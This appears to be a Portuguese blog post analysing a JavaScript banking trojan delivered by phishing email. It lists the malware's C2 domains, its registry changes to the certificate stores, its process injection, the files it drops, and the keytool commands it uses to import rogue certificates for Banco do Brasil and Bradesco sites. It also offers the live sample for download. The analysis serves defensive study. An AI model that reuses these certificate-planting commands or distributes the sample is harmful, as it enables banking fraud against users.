Analisando um malvware do ponto de vista de um programador

Hoje vou publicar algumas informações que consegui analisando o malware Trojan.GenericKD. Basicamente este malware é um script .js que baixa diversos arquivos, incluindo paginas fakes de bancos como bb e bradesco.

Caso alguém tenha interesse de baixar e testar, vou deixar o malware aqui para download.

A senha do zip acima é infected, cuidado ao executar.

Então vamos lá. Este malware chegou até mim através de um email de phishing através do endereço atendbemcatu2@yahoo.com.br, com o malware anexado chamado de “boleto…”, “conta…” ou algo do gênero.

A primeira vez que executei, em um windows 7 pt-br, consegui executar e testar tudo e obter estas informações abaixo. Em casa tentei executar em um windows 7 en-us para tirar uns prints e não tive muito sucesso, apesar da infecção ocorrer as páginas não carregaram, nem as originais nem as fakes. Vou tentar conseguir uns prints para ilustrar…

Primeiramente, olhei o email que dizia algo como “aqui está o comprovante que você pediu”. Obviamente que o primeiro passo foi jogar esse script no virus total e ver o resultado. Num primeiro momento nenhum antivirus ou ferramenta pode detectar o malware. 30 minutos depois da minha análise, mandei novamente ao virus total e 4 antivirus já tinham detectado o malware, provavelmente peguei no início da campanha.

 

Link do Virus Total: https://virustotal.com/pt/file/26a2b26b2fccdbe915926981d5f63df9fea3d81f9565003149aa31aa06df4f4c/analysis/1463590150/

Se rodar novamente agora provavelmente muitos antivirus já vão identificar.

Se abrirmos o arquivo no bloco de notas podemos ver que existe um bloco gigante de texto sendo passado para uma variável e algumas funções para decifrar este texto. Esta técnica é muito utilizada hoje em dia para tentar escapar de algumas assinaturas

Neste grande blocão de texto temos todo o código que vai alterar o registro, baixar o resto do malware, alterar algumas configurações e etc.

O resto do código é só pra decifrar esse código cifrado. A função de decode é basicamente diversos base64_decode, xor entre partes de 17 caracteres e algumas outras substituições. Não tentei decifrar manualmente, consumiria muito tempo, resolvi executar e capturar todas as mudanças e pedaços de código que conseguisse. Estas funções de obfuscação tendem a ser muito complexas, encadeando diversas funções umas nas outras para desencorajar quem estiver analisando.

Então, a primeira coisa que notei analisando os logs das ferramentas que deixei rodando é que este script quando roda tenta consultar o domínio dahamarli.xyz e c.fihajaut.xyz na porta 444.

Neste site, em uma url maluca (GET /xxx/8d4adcef?b890088ee4fd908bdfdc1b024cb2b8fd) o script baixa um arquivão de 15MB, que será descomprimido/separado em diversos arquivos.

 

Enviando eles para o virus total 2 deles foram identificados como malware (dahamarli_xyz[1] e Data-Search.dll)

Outra coisa interessante que uma das ferramentas de análise dinâmica encontrou foi uma tentativa de conseguir persistência injetando dados no processo rundll32.exe:
“wscript.exe” allocated memory in “%WINDIR%\System32\rundll32.exe”
Além do processo wscript.exe o malware também cria o processo keytool.exe

O malware também acessa parâmetros de criptografia do registro do windows, provavelmente ele chama alguma função de criptografia para decifrar aquele blocão inicial de texto em código:

“wscript.exe” (Path: “HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY”; Key: “MACHINEGUID”)

Cria diversos arquivos:

“wscript.exe” created file “C:\Windows\System32\en-US\WScript.exe.mui”
“wscript.exe” created file “C:\Windows\System32\WScript.exe”
“wscript.exe” created file “C:\Windows\Globalization\Sorting\sortdefault.nls”
“wscript.exe” created file “C:\Windows\system32\rsaenh.dll”
“wscript.exe” created file “C:\Windows\system32\wshom.ocx”
“wscript.exe” created file “C:\Windows\system32\en-US\KERNELBASE.dll.mui”
“wscript.exe” created file “C:\Windows\System32\msxml3r.dll”
“wscript.exe” created file “C:\Windows\System32\msxml3.dll\1”
“wscript.exe” created file “C:\Windows\System32\msxml3.dll”
“wscript.exe” created file “%APPDATA%\Microsoft\Windows\Cookies”
“wscript.exe” created file “%LOCALAPPDATA%\Microsoft\Windows\History”
“wscript.exe” created file “C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat”
“wscript.exe” created file “C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5E4YAL0D”
“wscript.exe” created file “C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5E4YAL0D\desktop.ini”
“wscript.exe” created file “C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XEIBNJZA”
“wscript.exe” created file “C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XEIBNJZA\desktop.ini”
“wscript.exe” created file “C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M1P475FU”
“wscript.exe” created file “C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M1P475FU\desktop.ini”

Modifica os certificados confiáveis para que a página falsa apareça confiável e assinada, como um banco deve ser:

“wscript.exe” (Access type: “CREATE”; Path: “HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA”)
“wscript.exe” (Access type: “CREATE”; Path: “HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES”)
“wscript.exe” (Access type: “CREATE”; Path: “HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS”)
“wscript.exe” (Access type: “CREATE”; Path: “HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS”)
“wscript.exe” (Access type: “CREATE”; Path: “HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED”)
“wscript.exe” (Access type: “CREATE”; Path: “HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES”)
“wscript.exe” (Access type: “CREATE”; Path: “HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS”)
“wscript.exe” (Access type: “CREATE”; Path: “HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS”)
“wscript.exe” (Access type: “CREATE”; Path: “HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS”)

 

Identifica a linguagem do sistema (talvez aqui ele tenha parado de executar ou tenha dado errado em alguma coisa, já que ele foi feito especialmente para estações brasileiras):

“wscript.exe” (Path: “HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE”; Key: “EN-US”)
“wscript.exe” (Path: “HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE”; Key: “EN-US”)
“wscript.exe” (Path: “HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE”; Key: “00000409”)
“keytool.exe” (Path: “HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE”; Key: “EN-US”)
“keytool.exe” (Path: “HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE”; Key: “EN-US”)

 

E por fim cria processos e migra tudo para onde não chame a atenção, com processos padrões do windows:

Spawned process “rundll32.exe” with commandline “rundll32 data-search.dll,#1 00008782” (UID: 00024580-00002864)
Spawned process “svchost.exe” with commandline “%WINDIR%\system32\svchost.exe -k LocalServiceNetworkRestricted 00008782” (UID: 00024601-00001756)
Spawned process “svchost.exe” with commandline “%WINDIR%\system32\svchost.exe -k LocalSystemNetworkRestricted 00008782” (UID: 00024641-00001816)

 

Abaixo alguns dos arquivos baixados pelo script com seu tipo identificado pela ferramenta de análise dinâmica:

“3ae37555.tmp” has type “PEM certificate”
“HelperModule.lnk” has type “MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Has command line arguments Icon Archive ctime=Mon Jul 13 23:41:43 2009 mtime=Mon Jul 13 23:41:43 2009 atime=Tue Jul 14 01:14:31 2009 length=44544 window=hide”
“dahamarli_xyz[1]” has type “data”
“dahamarli_xyz[1]” has type “PE32 executable (DLL) (GUI) Intel 80386 for MS Windows”
“prefs.js” has type “ASCII text with very long lines with CRLF line terminators”
“{4C285BCE-A8F9-E92B-8702-E03D4A012352}.xpi” has type “Zip archive data at least v2.0 to extract”
“04c2f310.tmp” has type “PEM certificate”
“extensions.json” has type “ASCII text with very long lines with no line terminators”
“Data-Search.dll” has type “PE32 executable (DLL) (GUI) Intel 80386 for MS Windows”
“%OSUSER%@dahamarli[1].txt” has type “ASCII text”
“Ident Tapi.lnk” has type “MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Has command line arguments Icon Archive ctime=Mon Jul 13 23:41:43 2009 mtime=Mon Jul 13 23:41:43 2009 atime=Tue Jul 14 01:14:31 2009 length=44544 window=hide”
“exception.sites” has type “ASCII text with CRLF line terminators”
“en-US.pak” has type “data”
“trusted.certs” has type “Java KeyStore”
“deployment.properties” has type “ASCII text with CRLF line terminators”
“icudt.dll” has type “PE32 executable (DLL) (GUI) Intel 80386 for MS Windows”

 

E por último, a informação provavelmente mais importante, algumas das páginas que ele redireciona para a fake que consegui descobrir:

keytool.exe -import -alias “deploymentusercert$tsflag$loc=https//aapj.bb.com.br:443##docbase:https//aapj.bb.com.br:443##from:https//aapj.bb.com.br:443java.util.random@0e6f5d” -file “%TEMP%\\3ae37555.tmp” -keystore “%LOCALAPPDATA%\ow\Sun\Java\Deployment\security\trusted.certs” -storepass “changeit” -noprompt

keytool.exe -import -alias “deploymentusercert$tsflag$loc=https//www.ne2.bradesconetempresa.b.br:443##docbase:https//www.ne2.bradesconetempresa.b.br:443##from:https//www.ne2.bradesconetempresa.b.br:443java.util.random@a4cd80″ -file “%TEMP%\\04c2f310.tmp” -keystore “%LOCALAPPDATA%\ow\Sun\Java\Deployment\security\trusted.certs” -storepass “” -noprompt

 

E era isso que eu consegui descobrir!

Vou seguir rodando aqui e testando, tentando tirar o máximo de informação dele.

Achou interessante ou quer contribuir? Faça sua análise e compartilhe aqui ou nos grupos do Facebook e Telegram da BS o que você encontrou.

Até a próxima.

Leave a Reply

Your email address will not be published. Required fields are marked *